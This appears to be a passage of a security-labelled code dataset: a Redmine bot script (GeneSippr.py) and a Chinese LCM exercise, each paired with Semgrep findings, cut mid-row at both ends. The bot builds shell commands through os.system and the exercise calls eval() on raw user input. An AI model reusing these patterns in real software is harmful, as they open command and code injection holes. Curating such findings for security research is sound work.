"https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/637da270d87c2137.py", "start": {"line": 11, "col": 1, "offset": 247}, "end": {"line": 11, "col": 45, "offset": 291}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_637da270d87c2137_a83a3597", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 12, "line_end": 12, "column_start": 1, "column_end": 77, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/637da270d87c2137.py", "start": {"line": 12, "col": 1, "offset": 292}, "end": {"line": 12, "col": 77, "offset": 368}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-89",
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
11,
12
] | [
11,
12
] | [
1,
1
] | [
45,
77
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | scraper_notCaught.py | /Scrapper/scraper_notCaught.py | narottaman/ECE-Pokedex | MIT | |
2024-11-18T18:05:58.858841+00:00 | 1,512,579,339,000 | 6f34cc872c1ab543bca3c9b907be9aba77c80fd5 | 3 | {
"blob_id": "6f34cc872c1ab543bca3c9b907be9aba77c80fd5",
"branch_name": "refs/heads/master",
"committer_date": 1512579339000,
"content_id": "04d63eaed1e4799994a767c8e3cde534555d4e84",
"detected_licenses": [
"MIT"
],
"directory_id": "69190e914331e3b7dc7604fc7d34b14bb8ec8906",
"extension": "py",
"filename": "GeneSippr.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 104122313,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7120,
"license": "MIT",
"license_type": "permissive",
"path": "/GeneSippr.py",
"provenance": "stack-edu-0054.json.gz:568913",
"repo_name": "lowandrew/GeneSippr_Automator",
"revision_date": 1512579339000,
"revision_id": "d703d1b8aebbb38f18619b3a8eb7879e8fcac8db",
"snapshot_id": "c64c3c15b728d8fab0a449a1b63895f9f181036b",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/lowandrew/GeneSippr_Automator/d703d1b8aebbb38f18619b3a8eb7879e8fcac8db/GeneSippr.py",
"visit_date": "2021-08-23T21:33:35.834778"
} | 2.53125 | stackv2 | from RedmineAPI.Utilities import FileExtension, create_time_log
import shutil
import os
from RedmineAPI.Access import RedmineAccess
from RedmineAPI.Configuration import Setup
from Utilities import CustomKeys, CustomValues
class Automate(object):
def __init__(self, force):
# create a log, can be written to as the process continues
self.timelog = create_time_log(FileExtension.runner_log)
# Key: used to index the value to the config file for setup
# Value: 3 Item Tuple ("default value", ask user" - i.e. True/False, "type of value" - i.e. str, int....)
# A value of None is the default for all parts except for "Ask" which is True
# custom_terms = {CustomKeys.key_name: (CustomValues.value_name, True, str)} # *** can be more than 1 ***
custom_terms = dict()
# Create a RedmineAPI setup object to create/read/write to the config file and get default arguments
setup = Setup(time_log=self.timelog, custom_terms=custom_terms)
setup.set_api_key(force)
# Custom terms saved to the config after getting user input
# self.custom_values = setup.get_custom_term_values()
# *** can be multiple custom values variable, just use the key from above to reference the inputted value ***
# self.your_custom_value_name = self.custom_values[CustomKeys.key_name]
# Default terms saved to the config after getting user input
self.seconds_between_checks = setup.seconds_between_check
self.nas_mnt = setup.nas_mnt
self.redmine_api_key = setup.api_key
# Initialize Redmine wrapper
self.access_redmine = RedmineAccess(self.timelog, self.redmine_api_key)
self.botmsg = '\n\n_I am a bot. This action was performed automatically._' # sets bot message
# Subject name and Status to be searched on Redmine
self.issue_title = 'genesippr' # must be a lower case string to validate properly
self.issue_status = 'New'
def timed_retrieve(self):
"""
Continuously search Redmine in intervals for the inputted period of time,
Log errors to the log file as they occur
"""
import time
while True:
# Get issues matching the issue status and subject
found_issues = self.access_redmine.retrieve_issues(self.issue_status, self.issue_title)
# Respond to the issues in the list 1 at a time
while len(found_issues) > 0:
self.respond_to_issue(found_issues.pop(len(found_issues) - 1))
self.timelog.time_print("Waiting for the next check.")
time.sleep(self.seconds_between_checks)
def respond_to_issue(self, issue):
"""
Run the desired automation process on the inputted issue, if there is an error update the author
:param issue: Specified Redmine issue information
"""
self.timelog.time_print("Found a request to run. Subject: %s. ID: %s" % (issue.subject, str(issue.id)))
self.timelog.time_print("Adding to the list of responded to requests.")
self.access_redmine.log_new_issue(issue)
try:
issue.redmine_msg = "Beginning the process for: %s" % issue.subject
self.access_redmine.update_status_inprogress(issue, self.botmsg)
##########################################################################################
os.makedirs('/mnt/nas/bio_requests/' + str(issue.id))
# Remember the directory we're in.
work_dir = '/mnt/nas/bio_requests/' + str(issue.id)
current_dir = os.getcwd()
des = issue.description.split('\n')
seqids = list()
for item in des:
item = item.upper()
seqids.append(item.rstrip())
f = open(work_dir + '/seqid.txt', 'w')
for seqid in seqids:
f.write(seqid + '\n')
f.close()
os.chdir('/mnt/nas/MiSeq_Backup')
cmd = 'python2 /mnt/nas/MiSeq_Backup/file_extractor.py {}/seqid.txt {}'.format(work_dir, work_dir)
os.system(cmd)
os.chdir(current_dir)
f = open('Sippr.sh')
lines = f.readlines()
f.close()
f = open(work_dir + '/' + str(issue.id) + '.sh', 'w')
for line in lines:
if 'job_%j' in line:
line = line.replace('job', 'biorequest_' + str(issue.id) + '_job')
f.write(line)
f.write('docker run -i -u $(id -u) -v /mnt/nas/bio_requests/8312/newsixteens/targets/:/targets'
' -v {}:/sequences sipprverse geneSipprV2/sipprverse/method.py -s /sequences -t /targets /sequences\n'.format(work_dir))
f.write('cd /mnt/nas/bio_requests/{}\n'.format(str(issue.id)))
f.write('python upload_file.py {}\n'.format(str(issue.id)))
f.write('rm -rf *.fastq* */*fastq* *.fasta RedmineAPI running_logs *json upload_file.py')
f.close()
shutil.copy('upload_file.py', work_dir + '/upload_file.py')
shutil.copytree('RedmineAPI', work_dir + '/RedmineAPI')
# Submit the batch script to slurm.
cmd = 'sbatch {}'.format(work_dir + '/' + str(issue.id) + '.sh')
os.system(cmd)
##########################################################################################
self.completed_response(issue)
except Exception as e:
import traceback
self.timelog.time_print("[Warning] The automation process had a problem, continuing redmine api anyways.")
self.timelog.time_print("[Automation Error Dump]\n" + traceback.format_exc())
# Send response
issue.redmine_msg = "There was a problem with your request. Please create a new issue on" \
" Redmine to re-run it.\n%s" % traceback.format_exc()
# Set it to feedback and assign it back to the author
self.access_redmine.update_issue_to_author(issue, self.botmsg)
def completed_response(self, issue):
"""
Update the issue back to the author once the process has finished
:param issue: Specified Redmine issue the process has been completed on
"""
# Assign the issue back to the Author
self.timelog.time_print("Assigning the issue: %s back to the author." % str(issue.id))
issue.redmine_msg = "Your GeneSippr request has been sent to the OLC Compute Cluster for processing." \
" This issue will be updated once results are available."
# Update author on Redmine
self.access_redmine.update_issue_to_author(issue, self.botmsg)
# Log the completion of the issue including the message sent to the author
self.timelog.time_print("\nMessage to author - %s\n" % issue.redmine_msg)
self.timelog.time_print("Completed Response to issue %s." % str(issue.id))
self.timelog.time_print("The next request will be processed once available")
| 139 | 50.22 | 140 | 21 | 1,557 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ada93e3c599f09bc_8e98b2e3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 17, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 83, "col": 17, "offset": 3846}, "end": {"line": 83, "col": 51, "offset": 3880}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_ada93e3c599f09bc_5968388b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 89, "line_end": 89, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 89, "col": 13, "offset": 4143}, "end": {"line": 89, "col": 27, "offset": 4157}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ada93e3c599f09bc_32c91287", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 17, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 91, "col": 17, "offset": 4208}, "end": {"line": 91, "col": 33, "offset": 4224}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ada93e3c599f09bc_9ed0b112", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 94, "line_end": 94, "column_start": 17, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 94, "col": 17, "offset": 4297}, "end": {"line": 94, "col": 66, "offset": 4346}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_ada93e3c599f09bc_3abc03ba", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 109, "line_end": 109, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 109, "col": 13, "offset": 5330}, "end": {"line": 109, "col": 27, "offset": 5344}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 5 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-audit"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
89,
109
] | [
89,
109
] | [
13,
13
] | [
27,
27
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found dynamic conte... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | GeneSippr.py | /GeneSippr.py | lowandrew/GeneSippr_Automator | MIT | |
2024-11-18T18:06:00.349183+00:00 | 1,592,291,030,000 | 9ea54ae4c590f4199e1d99b096429cbb0f1fb704 | 4 | {
"blob_id": "9ea54ae4c590f4199e1d99b096429cbb0f1fb704",
"branch_name": "refs/heads/master",
"committer_date": 1592291030000,
"content_id": "9dcbbd296612a5efc0257d563e0bdbb440a7103a",
"detected_licenses": [
"MIT"
],
"directory_id": "18c5d373e52fab2f0541f0b2b3fda5043910732b",
"extension": "py",
"filename": "4-最小公倍数.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 245140997,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 475,
"license": "MIT",
"license_type": "permissive",
"path": "/Week 6/4-最小公倍数.py",
"provenance": "stack-edu-0054.json.gz:568932",
"repo_name": "BleShi/PythonLearning-CollegeCourse",
"revision_date": 1592291030000,
"revision_id": "9a5439a243f0b1d509caaa996b2c1df4921140cb",
"snapshot_id": "a405bbae8538ef2a410fc63b1720b4f8121a1878",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/BleShi/PythonLearning-CollegeCourse/9a5439a243f0b1d509caaa996b2c1df4921140cb/Week 6/4-最小公倍数.py",
"visit_date": "2021-02-18T00:34:51.723717"
} | 3.984375 | stackv2 | # 用户输入两个正整数,求他们的最小公倍数。
num1 = eval(input("请输入第一个数字: "))
num2 = eval(input("请输入第二个数字: "))
if num1<= 0 or num2 <= 0:
print("两个数必须是正整数")
exit(0)
if num1>num2:
max=num1
min=num2
else:
max=num2
min=num1
for i in range(1,min+1):
numtemp=max*i
if numtemp % min == 0:
numresult=numtemp
break
print("最小公倍数是:",numresult) | 22 | 15.73 | 32 | 9 | 144 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_cd8d8c484902d7b2_21239cde", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 8, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/cd8d8c484902d7b2.py", "start": {"line": 2, "col": 8, "offset": 71}, "end": {"line": 2, "col": 51, "offset": 114}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_cd8d8c484902d7b2_96e7fced", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 3, "line_end": 3, "column_start": 8, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/cd8d8c484902d7b2.py", "start": {"line": 3, "col": 8, "offset": 122}, "end": {"line": 3, "col": 51, "offset": 165}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_cd8d8c484902d7b2_ef6a4234", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(0)", "location": {"file_path": "unknown", "line_start": 7, "line_end": 7, "column_start": 5, "column_end": 12, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/cd8d8c484902d7b2.py", "start": {"line": 7, "col": 5, "offset": 238}, "end": {"line": 7, "col": 12, "offset": 245}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(0)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-95",
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected",
"rules.python.lang.security.audit.eval-detected"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
2,
3
] | [
2,
3
] | [
8,
8
] | [
51,
51
] | [
"A03:2021 - Injection",
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.",
"Detected the use of eval(). eval() can be dangerous if used... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | 4-最小公倍数.py | /Week 6/4-最小公倍数.py | BleShi/PythonLearning-CollegeCourse | MIT | |
2024-11-18T18:06:00.458625+00:00 | 1,611,605,318,000 | a02298e2d7f53746fba252e49d71b05fb1c9cb54 | 2 | {
"blob_id": "a02298e2d7f53746fba252e49d71b05fb1c9cb54",
"branch_name": "refs/heads/master",
"committer_date": 1611605318000,
"content_id": "42fd304e56fb47ec8b825138f0b5bc910fa9e4f5",
"detected_licenses": [
"ISC"
],
"directory_id": "2b8a258ba9e4c61efa87a7bdcde3f3584254bd5f",
"extension": "py",
"filename": "x.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 332870105,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3193,
"license": "ISC",
"license_type": "permissive",
